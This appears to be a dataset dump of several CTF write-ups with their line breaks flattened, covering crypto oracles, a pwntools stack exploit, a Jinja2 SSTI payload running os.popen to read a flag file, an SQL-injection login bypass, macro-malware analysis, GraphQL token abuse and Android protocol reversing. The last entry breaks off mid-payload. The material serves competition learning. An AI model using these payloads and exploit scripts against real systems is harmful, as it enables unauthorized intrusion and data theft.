text_chunk
stringlengths 151
703k
|
---|
### leaky_blinders.py```python#!/usr/bin/env python3.8from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadimport sys, os FLAG = b"FwordCTF{###############################################################}"
WELCOME = '''Welcome to Enc/Dec Oracle.'''
key = os.urandom(32)
def xor(a, b): return bytearray([a[i % len(a)] ^ b[i % len(b)] for i in range(max(len(a), len(b)))])
def encrypt(msg): aes = AES.new(key, AES.MODE_ECB) if len(msg) % 16 != 0: msg = pad(msg, 16) cipher = aes.encrypt(msg) cipher = xor(cipher, key) return cipher
def decrypt(cipher, k): aes = AES.new(k, AES.MODE_ECB) cipher = xor(cipher, k) msg = unpad(aes.decrypt(cipher), 16) return msg
class Leaky_Blinders: def __init__(self): print(WELCOME + f"Here is the encrypted flag : {encrypt(FLAG).hex()}")
def start(self): try: while True: print("\n1- Encrypt") print("2- Decrypt") print("3- Leave") c = input("> ")
if c == '1': msg = os.urandom(32) cipher = encrypt(msg) if all(a != b for a, b in zip(cipher, key)): print(cipher.hex()) else: print("Something seems leaked !")
elif c == '2': k = bytes.fromhex(input("\nKey : ")) cipher = bytes.fromhex(input("Ciphertext : ")) flag = decrypt(cipher, k) if b"FwordCTF" in flag: print(f"Well done ! Here is your flag : {FLAG}") else: sys.exit("Wrong key.")
elif c == '3': sys.exit("Goodbye :)")
except Exception: sys.exit("System error.")
if __name__ == "__main__": challenge = Leaky_Blinders() challenge.start()
```
When program runs, it generates a string of 32 **random bytes** with `os.urandom(32)`.
`key = os.urandom(32)`
Then, it defines some functions and a *class* `Leaky_Blinders`.
In class `Leaky_Blinders`, the **\_\_init\_\_** method prints the welcome message and **encrypted** flag in **hex**.
```pythondef __init__(self): print(WELCOME + f"Here is the encrypted flag : {encrypt(FLAG).hex()}")```
The *start* method, loops forever and asks for *choice* (1.Encrypt, 2.Decrypt, 3.Leave).
Choice '2' is interesting!```pythonelif c == '2': k = bytes.fromhex(input("\nKey : ")) cipher = bytes.fromhex(input("Ciphertext : ")) flag = decrypt(cipher, k) if b"FwordCTF" in flag: print(f"Well done ! Here is your flag : {FLAG}") else: sys.exit("Wrong key.")```It asks the *key* and *ciphertext* in hex and passes them to `decrypt` function.
If result of the `decrypt` function contains **FwordCTF**, it will print out the flag.
Let's see what's in `decrypt` function!```pythondef decrypt(cipher, k): aes = AES.new(k, AES.MODE_ECB) cipher = xor(cipher, k) msg = unpad(aes.decrypt(cipher), 16) return msg```It **xor** the *cipher* with *key* and decrypt the *cipher* in **AES**.
So, to get the flag, we have to encrypt a string that contains **FwordCTF** with random *key* in **AES** and *xor* the *cipher* with that random *key* and send that!
Let's try it!### solve.py```pythonfrom pwn import *from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpad
key = b"A"*32 # key length is 32 so here 32 'A'plain_text = b"FwordCTF"
# stole code from the challenge :-)def xor(a, b): return bytearray([a[i % len(a)] ^ b[i % len(b)] for i in range(max(len(a), len(b)))])
def encrypt(msg): aes = AES.new(key, AES.MODE_ECB) if len(msg) % 16 != 0: msg = pad(msg, 16) cipher = aes.encrypt(msg) cipher = xor(cipher, key) return cipher
cipher = encrypt(plain_text) # cipher to send
# connecting to target hostconn = remote("52.149.135.130", 4869)conn.recvuntil(b"> ")
conn.sendline("2")
# Sending key and cipher in hexconn.sendline(key.hex())conn.sendline(cipher.hex())
conn.interactive()``````sh$ python3 solve.py [+] Opening connection to 52.149.135.130 on port 4869: Done[*] Switching to interactive mode
Key : Ciphertext : Well done ! Here is your flag : b'FwordCTF{N3v3r_x0r_w1thout_r4nd0m1s1ng_th3_k3y_0r_m4yb3_s3cur3_y0ur_c0d3}'
1- Encrypt2- Decrypt3- Leave> $ [*] Interrupted[*] Closed connection to 52.149.135.130 port 4869```
Yay! There is the flag!!!
*flag*: `wordCTF{N3v3r_x0r_w1thout_r4nd0m1s1ng_th3_k3y_0r_m4yb3_s3cur3_y0ur_c0d3}` |
## ccanary
> Points: 133>> Solves: 89
### Description:I'm using arch btw... ¯\_(ツ)_/¯
### Attachments:```ccanary https://static.allesctf.net/1034e3b4626ce02001a330342be622edba032d07a8cbf6f0d3aecd4036370f40/ccanaryccanary.c https://static.allesctf.net/ffa321004f1a6f232e38e8d314920e290ee50cfce02d1632e4dfee8d0abf1c1d/ccanary.c```
## Analysis:
The C language source code is provided below.https://github.com/mito753/CTF/blob/main/2021/ALLES!_CTF_2021/Pwn_ccanary/ccanary.c
- We can enter character strings from 0x7fffffffdd99 in the stack state below.- The flag can be displayed if the value (0x0000555555555210) of data.call_canary((a) part) is not destroyed and a non-zero value can be written to data.give_flag((b) part).- However, since PIE and ASLA are valid, the address of the data.call_canary () function cannot be guessed.```0x7fffffffdd90: 0x00000000000000c2 0x79202d0a22414122 0x7fffffffdda0: 0x31323032202c756f 0x00000000000000000x7fffffffddb0: 0x0000000000000000 0x0000555555555210 (a)data.call_canary() 0x7fffffffddc0: 0x0000000000000000 0xc18083ccda1b7d00 (b)data.give_flag0x7fffffffddd0: 0x00005555555553b0 0x00007ffff7a03bf7```
## Solution:
By writing the following sys_time (0xc9) address (0xffffffffff600400) that is not affected by PIE and ASLA to data.call_canary (a part), 1 can be written to data.give_flag without causing a Segmentation fault.
```gdb-peda$ x/10i 0xffffffffff600400 0xffffffffff600400: mov rax,0xc9 0xffffffffff600407: syscall 0xffffffffff600409: ret 0xffffffffff60040a: int3```
## Exploit code:```pythonfrom pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './ccanary'elf = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r': s = process("ncat --ssl 7b0000007c7be7ad4dab5be5-ccanary.challenge.master.allesctf.net 31337", shell=True)else: s = process(BINARY) s.recvuntil("quote> ")
buf = "A"*(0x1f)buf += p64(0xffffffffff600400) # sys_timebuf += p64(1)s.sendline(buf)
s.interactive()```
## Results:```bashmito@ubuntu:~/CTF/ALLES!_CTF_2021/Pwn_ccanary$ python solve.py r[*] '/home/mito/CTF/ALLES!_CTF_2021/Pwn_ccanary/ccanary' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Starting local process '/bin/sh': pid 60051[*] Switching to interactive modegood birb!"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHere's the flag:ALLES!{th1s_m1ght_n0t_work_on_y0ur_syst3m_:^)}``` |
## 1. Secret provider (Web)### 1. Challenge descriptionI will provide you a secret for next level security.
http://34.102.84.223/
Note: Flag is located in etc directory
Author : x3rz
### 2. Solution1. When you goto the challenge site, you are greeted with a page having a single textbox. Any string you enter will be base64 decoded and printed back on the page. 
2. Since the string is passed to the backend through GET requests, I initially thought that this must be a directory traversal attack. But it wasn't the case.3. Since the website uses the python flask framework, we can try the server side template injection attack. First we have to check if the site actually uses a templating engine. For this we can try payloads from the [swisskey github repo](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#tools). 4. First convert the payload "{{4\*4}}" into base64 and enter it into the site. We get the result as 16, that means the site probably uses the jinja2 templating engine.5. Now to get the flag, we need to read the file contents. For this I encoded the payload "{{ self.\_TemplateReference__context.cycler.__init__.__globals__.os.popen('strings /etc/flag.txt').read() }}" and passed it into the textbox. This prints the flag on the webpage.6. Flag: wormcom{55T1_15r311y50m3th1g_1y2v4ugu} |
[Original writeup](https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md)(https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md). |
Challenge_Name = E4sy Pe4sydescription = Hack admin user!Author = r3curs1v3_pr0xy
Challenge_Link = http://34.102.111.73/
# Solution_Explain
When We go to Website, Website is look like normal. And At the top of the page(can be beside), There is a menu and login page!. (Cool)So With the Description of the challenge, We can know that it can be sql injection.
# Sql_Injection
Well, let try sql payloads.UseFul_Payload_Website = https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/
# Payload_To_Solve
My_Payload = ' or '1
When we login, we got flag. YEEEEEEEEEEES!
# Flag = GrabCON{E4sy_pe4sy_SQL_1nj3ct10n}
# Note: I can't add picture and photos because of my pc.(Sorry) |
# Decrypting the payload
#### Category : mission, malware, forensics#### Points : 100 (56 solves)
## ChallengeWe need to know how the attacker gained access to our network.
The team discovered that some of our employees where targeted by a phishing attempt and got this excel file from their emails.
Can you check if this was used to gain a foothold in our network?
Flag format: flag{string}
Attachment : Account_report.xlsm
## SolutionI use olevba on the given xlsm file.
```basholevba --reveal --decode Account_report.xlsm```
Doing this, we get the source code of the macros in the file but it looks like the variables are base64 encoded.
And then they are executed together.
So I just save only the base64 encoded data into a file(remove the variable names,'=' and 'b') as enc_malware.txt and put the file in cyberchef.
Doing this, we can see the payload used in the malware. I saved this in a file and remove the '.' characters as b64_dec_malware.txt.
Looking at the decoded data, we can spot the flag which is written in reverse.
So the flag becomes `flag{m4cr0_3n4bl3d_d0cs_4r3_d4ng3r0us}` |
[original writeup](https://github.com/vichhika/CTF-Writeup/tree/main/GrabCON%20CTF%202021/Reversing/Baby%20Rev)(https://github.com/vichhika/CTF-Writeup/tree/main/GrabCON%20CTF%202021/Reversing/Baby%20Rev). |
# devme
>> an ex-google, ex-facebook tech lead recommended me this book!>> [https://devme.be.ax](https://devme.be.ax/)
No source code attached, so i try to test the feature one by one. After few second, i've found that the sign up (located at bottom home page) is sending graphql query into https://devme.be.ax/graphql. Since we know that graphql is provided of introspection query by default (cmiiw), we can use GraphiQL tools [Here](https://www.electronjs.org/apps/graphiql).
After inserting endpoint, check the documentation explorer for the **query** and **mutation**. In **query** section you will find out users and flag field. Lets check **user** first.
**Request**
```query{ users{ token, username }}```
**Response**
```{ "data": { "users": [ { "token": "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b", "username": "admin" }, .......```
Now lets use the token to retreive flag from user admin.
**Request**
```query{ flag(token: "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b")}```
**Response**
```{ "data": { "flag": "corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}" }}```
**FLAG:** corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice} |
# Hi
first i look at the descript
```free and open-source software for running self-hosted social networking services```the hell ? i don't know it ever ! gg search

check it out !

great! so i thinks i true

food only in her post , search with google images

wow , great!
```Cafeteria Gardos, Belgrade, Central Serbia, Serbia```
next , i check facebook but nothing, so where is flag ?
oh, food ? .. review food , check it

flag ;)) oke slove |
**Full write-up:** [https://www.sebven.com/ctf/2021/08/23/corCTF2021-babyrsa.html](https://www.sebven.com/ctf/2021/08/23/corCTF2021-babyrsa.html)
Cryptography – 476 pts (50 solves) – Chall author: willwam845
Somebody leaked a screenshot of a Discord chat with the author’s RSA modulus primes! Well, partially… Turns out we are missing some of the digits, but not enough to stop us from recovering his private exponent and steal his flag. >:) |
# ADSPAM
>We've intercepted this demo build of a new ad spam bot, see if you can find anything interesting.
[Attachment](https://github.com/google/google-ctf/blob/master/2021/quals/rev-adspam/Bot/app/release/app-release.apk) `adspam.2021.ctfcompetition.com 1337`
## Analysis
Another one I didn't solve during the CTF, but it turns out to not be too complex. The challenge provides an Android app (`app-release.apk`) and a server with a custom protocol. The challenge employs C code using the Java Native Interface (JNI) with some obfuscated strings. I've had some brief experience with JNI, so once I recognized what was going on and looked up some disassembly guides the challenge was straightforward in any of x86, x86_64 or ARM. Finally, there is a short bit of connecting to the server and some basic cryptographic flaws which allow you to present a request as an "admin" and retrieve the flag.
## Decompilation
[jadx](https://github.com/skylot/jadx) is my go-to decompiler for Android apps. Installing and running it reconstructs the app to Java classes and extracts all resources. There are a couple ways to start the challenge here including:
* `grep`-ing for "adspam" -- this doesn't occur in any `.java` files, but does show up in the `libnative-lib.so` binaries and a `strings.xml` resource* connecting to the server -- if you connect and send any text you get back what seems to be a base64 encoded and encrypted string which could lead you to the next item* searching for `encrypt` or `decrypt` -- this shows up in the `sources/a/a/f.java` file and the `NativeAdapter` class (`sources/ad/spam/NativeAdapter.java`) which points to the `native-lib` library.* installing the app in an Android virtual device -- the app seems to run, but there is no noticable network traffic (over TCP/1337)
Eventually each of these leads to one of the `libnative-lib.so` binaries. I loaded up the x86_64 one in Ghidra, found the "AdSpamBot" string referenced in several locations with the only named one being `JNI_OnLoad`.
## JNI Reversing
Searching around for Android reversing got me [this helpful guide](https://github.com/maddiestone/AndroidAppRE/blob/master/reversing_native_libs.md). This guide describes the Java Native Interface (JNI) and how C-functions are initialized and then called directly from Java code (in the Android app). The short version is that `JNI_OnLoad` is the default function which is called by a `System.loadLibrary` or `System.load` initialization call.

The decompilation of my chosen library looks roughly like the one above. This disassembly already has several functions labeled, but the first thing to notice is that there aren't any strings defined that you might expect from a function expected to setup function exports. The `decode_string` function was labeled by me after the fact but disassembles as below. Reading through the decompiled C code has a bunch of strange instructions with some pointer arithmetic and various `goto` statements. My initial reaction to this is that there is some funny business with code obfuscation here, and if you ignore the block highlighted below, then the result is a simple function which XORs a string with the base64 string `"cFUgdW9ZIGV2aUcgYW5ub0cgcmV2ZU4="`. This seems like a basic string obfuscation method and if you decode the base64 and read it backwards you get a all-too-common Rick Astley reference.

I wrote a Python function to automate the string obfuscation (below), and ran it on several memory segments used as arguments to the labeled `decode_string` function.
```pythondef decode_string(st): if type(st) == bytes: st1 = st else: st1 = binascii.unhexlify(st) st2 = b'cFUgdW9ZIGV2aUcgYW5ub0cgcmV2ZU4=' return bytes(st1[i]^st2[i%32] for i in range(len(st1)))```
I then copy/pasted over the existing bytes in my binary's data section to make it more readable and doing so shows you that the actual strings in the function are sensible values like "ad/spam/NativeAdapter", "transform", "oktorun", "encrypt", "decrypt", and "declicstr" which all match the function names in `NativeAdapter.java`. It appears that this function is setting up an export for each of these functions, and in fact there are corresponding function pointers for these exported functions in the same `JNI_OnLoad` function. This gives names for each of the functions referenced from Java code so I went ahead and named them for easier disassembly later.
## AdSpam "decrypt"
While I could have continued with any of the newly labeled functions, I started with the "decrypt" one as it seemed like the most likely to lead to a better understanding of the challenge. This function seems to call two functions - one which seems like a "helper" function and another which is shorter. Starting with the "helper" one (labeled `adspam_encrypt_helper`), you notice that the first parameter seems to have many virtual function calls.

Referring back to the JNI reversing guide above provides some helpful input here. By default Ghidra install doesn't have a lot of the JNI data types defined, but that guide helpfully points out [this jni_all.gdt file](https://github.com/Ayrx/JNIAnalyzer/blob/master/JNIAnalyzer/data/jni_all.gdt) which can be loaded into Ghidra to define types like `JNIEnv*`. Doing this, and then setting the type of the first argument to `JNIEnv*` gives a much clearer picture with function names like "FindClass", "GetStaticMethodID", "NewStringUTF", "GetMethodID", etc.

After some tweaking of the function, some variable renaming, and looking at the strings awhile you notice that the function seems to lookup functions in standard Java classes and then invoke them with various parameters. Looking at the decoded strings here alone gives a clear picture of what is going on. They are:
```javax/crypto/CiphergetInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;AESinit```
A second function deep only called after several successful response code has a similar structure with strings like
```javax/crypto/spec/SecretKeySpec<init>([BLjava/lang/String;)VeaW~IFhnvlIoneLlAES```
You might be able to guess from those alone what's going on (which may be the reason for the string obfuscation in the first place). Roughly speaking, I assumed that this "helper" function does roughly:
```javaspec = new SecretKeySpec("eaW~IFhnvlIoneLl", "AES")return new Cipher.getInstance("AES").init(opmode, spec) // opmode is param_2```
Returning to the original `adspam_decrypt` function, we see that this helper was called with `opmode==2`. Additionally, the same structure here for the other function turns out to be roughly:
```javareturn cipher.doFinal(data)```
All in all, this function seems to do a straightforward AES decryption with a fixed key of "eaW~IFhnvlIoneLl". Furthermore, the "encrypt" export is nearly identical with the only change being `opmode==1`. Strangely, the cipher suite here doesn't reference a block cipher mode (like CBC, CTR, GCM, ECB, etc), but a little trial-and-error later showed that it was only using the most basic ECB mode.
## Blindly Decrypting
From this point, I had a decryption primitive and started blindly trying to decrypt things. Turning our attention to the strings returned from the server, the now-decrypted responses for random strings are the following:
```b'{"cmd": -1, "data": "Incorrect padding"}\x08\x08\x08\x08\x08\x08\x08\x08'b'{"cmd": -1, "data": "Data must be aligned to block boundary in ECB mode"}\x07\x07\x07\x07\x07\x07\x07'```
And then sending a payload such as `encrypt(b'{}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e')` gives a response of
```b'{"cmd": -1, "data": "\'license\'"}'```
This confirms the encryption key is correct, but clearly to understand this protocol more analysis on the binary needs to be done.
## Lincense Decryption
Looking through the references to the NativeAdapter functions, the `a/a/f.java` class, there is a function which reads a license file from an app resource, decrypts lines individually with the `declicstr` function, and then formulates a JSON structure to encrypt and send to the server. The license file can be found in the `resources/res/raw/lic` file. Trying the same fixed-key ECB AES decryption on the lines of this seems to give nonsense, so we give the `declicstr` JNI function the same treatment we gave to `decrypt`.
Again, this function has a bunch of obfuscated strings, some function lookups and then invocation of those functions. Skipping to the Java pseudocode we have the following
```java// adspam_x509_key is a DER-encoded RSA public key extracted from the binary (using Ghidra) to a fileobject_ks = X509EncodedKeySpec.<init>(adspam_x509_key)object_kf = KeyFactory.GetInstance("RSA")object_pub = object_kf.generatePublic(object_ks)object_rsa = Crypto.getInstance("RSA")object_rsa.init(mode=2,object_pub) // 2 == DECRYPT_MODE or PRIVATE_KEY```
Again, the usage of only "RSA" here is a bit confusing since no padding is specified, but it turns out that this is just a basic RSA with no padding whatsoever.
Running this scheme on the given license, we see that the decrypted lines, when rendered in hex give
```0xb3133330x375f68610x636b65720x243739380x623764640x342d64310x37312d310x3165622d0x353134390x2d3166610x353936300x336365640x35013000```
This can be reconstructed to the bytes `b'\x0b1337_hacker$798b7dd4-d171-11eb-5149-1fa59603ced5\x010\x00'`. Reading through the Java code (and some functions in other classes), it seems like the format of this string is a length byte following by ASCII characters. When divided up, this gives `"1337_hacker"` for the "name", `"798b7dd4-d171-11eb-5149-1fa59603ced5"` for some UUID, and then `"0"` for "is_admin".
## Server Interaction
Using what we've identified so far - the decrypted license, the individual components, and an "is_admin" value - the expected request can be submitted to the server. I wrote a script to do this and get the following output:
```send: encrypt(b'{"name": "1337_hacker$", "is_admin": 1, "device_info": {"os_version": "??", "api_level": 30, "device": "??"}, "license": "QIknTsIjeUEF9yJjeZ/kPPfTlSm8vzMU4LWjzfSXvN+OSqBu3iNgZJgeW7fc8oltH9MprO9nI8vxgsjO/VA4t7YuNm16a7elPVAHqD4dXtzngnZPpsbek3Rc/We/WQ5YxXHgUt7YJ6tcd4wH3fhduC9tl/E5elwJL/YAcbD4mT8=::o9kjqYWCBKMgodl1JvDiscUeRjh9Ip9HcC7tHskoYqNQfAPE0XvSAKBSOFgleNHzVY9BVkfxmutgn/kVXUs3yl/qAurc4jokg0eA/v3flnnkWxqTOh4vv0yfr7PGXqwHk4qUFK1SldZ4VsLhd8PAb0aHj22E5b4U5jeJ16z187E=::gpDbCb0BmUZfdKVIZgF08lQ80K9SeUsRadZG+UUjE7wI1NRZ1evLk2GQ3sqskGHFKlPg8cTR2Xy69WedNu4QLboOWm/w13ocOvHwCoiQ1ZdmibgnhMQBznqpjpBnL083YMRYskcUX68R2PFaXY3taV7MoG1DyQWFRfdr/CnLyS8=::ZBLhwMu0DbgpUANm2ukYldrppJERiH1Tgp02CRB5I4dDP8n4+ZCv33ScspELtgAKHhiwIVksQVsnwDLsQRi6nqq9nrIwqSHMR0TwOe6UKTpAegbH53FXtriopPHfLuI2M45SzJ88GFjXy7wfOOjwDYe4KKO9KU8+LGD15Au73EM=::Hygv+bTtsnI9IBf44GkvoF38r3g5zBB7uyYT7PTlbjhCdgYRwRayutI3vY+n66xM7GOFgUFVIBI5+OBDnvazLNttjGomPED/OXlImndWvrZxYcaKaE3vYGPezorV0xwPahGGq/DWafPKdYxLxwICq1GXKYNAckCZIqfpGbJRRwg=::GARMZAX7fQN7i7Wnp4J6HxMTLe9+VM/wGJs+zN6b9IOmynh2gIkGjmssfOA9KdYydqBLEOJymayH8HeyrtInhhQNR3el8A5n8GMEMkyF1gUFAiSEPyhNeWWOj2IAHGNNwccmF7QywdfOUGjsTNFbrW6Yl5QLLAmMbA95qF0IERk=::YWlx8Cok1x/3ZsW9JKIsKj9UpBaCNkXSPiVXUrNX1IDZE0B8iNr3iliOr90TW0BvsIaFEwvDTlcESXJ8kLc3iZq0fm1lgujfM7Z156VdxEPjr9LplcEZ9ZVhYGNtVyGIRcouUDJHu3FVfXQ1XesaNlNHOb50hADprsw3RnTAGbU=::I3dsx2vSfXxZ1/QlMbwYPRFEZBtOuB8qLEY8cqFVtYjMluNWSkbHAYB+kwCBEv3yuoOjkdQEfqq4pS+K0ka1+pFDyss8sSbV3OiZdpRf40SS/pZxw2duJr9uDd1DdX8mST7fdjqj0V1a2ZBMpqaEI2gFlCwzXlfZBC47LKNiM+8=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::TeGqGWv8ZmsY/rFq1puW9N+01TWTKJm8qzUuY/7JUCPDJ1AR6Y3XsPb73FuSVHPL63sjiuCTiKTRSUDzBE0VBfo59rtOKI05k64Jrz88nODD7BiK7ssacsOr2dAFGQKgBaWV2jitSAdxtCmh9sDpYsfs0/vXBBfVLqfVZDfAVGQ=::Al3QWY+nNFoLezt+rSdbWmqp7iZ+rR9pnM35IJNZ63bLQeM3CUvULVczhrM3toXNLCY7xmAT4jg+u0uDAjanaKMB+T1Tmym7aaCqwCfHYVFn5nw+tw54e13CLxj7OO+e847+XH8DtK/BiA+n03vPnt/cEDPvIM59sPsjHThJvpk=::VOGr60qxiO1r0YlKnrIWbQu7UhBmtBeNw2NDQnoNU3H1mjVEs/ji3AYuEGc2HGKINByq7Mpb4mWKD2oH5ii/UZDpxbzCFlJrjvjEG25c9Hhf2fiQHvRXmJd8iA8YdffBii3csCjaydLFSX6Vn7XPg+/PF/TdM1zUiLTJZX4LXRw=::ELL9maLDpdmmEgaT76qtw9IugtaQX2r7V7QVqMKXQcbwq7o0dvaO3+yMt6m5K5Milm4JSNwX/810YUaoAsHNuaIavuLRsxbP3b6KnKxaKz3EDgyhye2en3U1EZouiLljBB0bKz8rAtyGdolWDdNoKjvLhv7x2edc05HQZOt3aiA=::"}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e')recv: b'+EBt8Nfv2gpgUbeAFwLCcZAgZRLOE6HPAb+0hSE5ig9b1vGxH1Y9kVzOI9qgLhfMTStCb6jynsZxHvwkLJC3uQ==\n'decrypted: b'{"cmd": 2, "data": "https://youtu.be/z6WsEXpJ5DU"}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'```
Clearly the decrypted contents aren't quite the flag so we need a little bit more. The submission above also shows that you can't just change the `is_admin` value to a non-zero value to finish the challenge. Looking at the decrypted contents again, we can see that the final block - `0x35013000` - has the last byte of the UUID, the length `0x01`, and then the string `"0" == 0x30`. There is another block with the value `0x35393630` which contains the same last character of the UUID, but then a length byte of `0x39`. This is rather long, but it turns out that we can just append a lot digit-based text to the submitted license to spoof a non-zero "is_admin" value in the UUID to finally get the flag. This submission is given below, and the full script used for analysis included in this directory.
```send: encrypt(b'{"name": "1337_hacker$", "is_admin": 1, "device_info": {"os_version": "??", "api_level": 30, "device": "??"}, "license": "QIknTsIjeUEF9yJjeZ/kPPfTlSm8vzMU4LWjzfSXvN+OSqBu3iNgZJgeW7fc8oltH9MprO9nI8vxgsjO/VA4t7YuNm16a7elPVAHqD4dXtzngnZPpsbek3Rc/We/WQ5YxXHgUt7YJ6tcd4wH3fhduC9tl/E5elwJL/YAcbD4mT8=::o9kjqYWCBKMgodl1JvDiscUeRjh9Ip9HcC7tHskoYqNQfAPE0XvSAKBSOFgleNHzVY9BVkfxmutgn/kVXUs3yl/qAurc4jokg0eA/v3flnnkWxqTOh4vv0yfr7PGXqwHk4qUFK1SldZ4VsLhd8PAb0aHj22E5b4U5jeJ16z187E=::gpDbCb0BmUZfdKVIZgF08lQ80K9SeUsRadZG+UUjE7wI1NRZ1evLk2GQ3sqskGHFKlPg8cTR2Xy69WedNu4QLboOWm/w13ocOvHwCoiQ1ZdmibgnhMQBznqpjpBnL083YMRYskcUX68R2PFaXY3taV7MoG1DyQWFRfdr/CnLyS8=::ZBLhwMu0DbgpUANm2ukYldrppJERiH1Tgp02CRB5I4dDP8n4+ZCv33ScspELtgAKHhiwIVksQVsnwDLsQRi6nqq9nrIwqSHMR0TwOe6UKTpAegbH53FXtriopPHfLuI2M45SzJ88GFjXy7wfOOjwDYe4KKO9KU8+LGD15Au73EM=::Hygv+bTtsnI9IBf44GkvoF38r3g5zBB7uyYT7PTlbjhCdgYRwRayutI3vY+n66xM7GOFgUFVIBI5+OBDnvazLNttjGomPED/OXlImndWvrZxYcaKaE3vYGPezorV0xwPahGGq/DWafPKdYxLxwICq1GXKYNAckCZIqfpGbJRRwg=::GARMZAX7fQN7i7Wnp4J6HxMTLe9+VM/wGJs+zN6b9IOmynh2gIkGjmssfOA9KdYydqBLEOJymayH8HeyrtInhhQNR3el8A5n8GMEMkyF1gUFAiSEPyhNeWWOj2IAHGNNwccmF7QywdfOUGjsTNFbrW6Yl5QLLAmMbA95qF0IERk=::YWlx8Cok1x/3ZsW9JKIsKj9UpBaCNkXSPiVXUrNX1IDZE0B8iNr3iliOr90TW0BvsIaFEwvDTlcESXJ8kLc3iZq0fm1lgujfM7Z156VdxEPjr9LplcEZ9ZVhYGNtVyGIRcouUDJHu3FVfXQ1XesaNlNHOb50hADprsw3RnTAGbU=::I3dsx2vSfXxZ1/QlMbwYPRFEZBtOuB8qLEY8cqFVtYjMluNWSkbHAYB+kwCBEv3yuoOjkdQEfqq4pS+K0ka1+pFDyss8sSbV3OiZdpRf40SS/pZxw2duJr9uDd1DdX8mST7fdjqj0V1a2ZBMpqaEI2gFlCwzXlfZBC47LKNiM+8=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::TeGqGWv8ZmsY/rFq1puW9N+01TWTKJm8qzUuY/7JUCPDJ1AR6Y3XsPb73FuSVHPL63sjiuCTiKTRSUDzBE0VBfo59rtOKI05k64Jrz88nODD7BiK7ssacsOr2dAFGQKgBaWV2jitSAdxtCmh9sDpYsfs0/vXBBfVLqfVZDfAVGQ=::Al3QWY+nNFoLezt+rSdbWmqp7iZ+rR9pnM35IJNZ63bLQeM3CUvULVczhrM3toXNLCY7xmAT4jg+u0uDAjanaKMB+T1Tmym7aaCqwCfHYVFn5nw+tw54e13CLxj7OO+e847+XH8DtK/BiA+n03vPnt/cEDPvIM59sPsjHThJvpk=::VOGr60qxiO1r0YlKnrIWbQu7UhBmtBeNw2NDQnoNU3H1mjVEs/ji3AYuEGc2HGKINByq7Mpb4mWKD2oH5ii/UZDpxbzCFlJrjvjEG25c9Hhf2fiQHvRXmJd8iA8YdffBii3csCjaydLFSX6Vn7XPg+/PF/TdM1zUiLTJZX4LXRw=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJ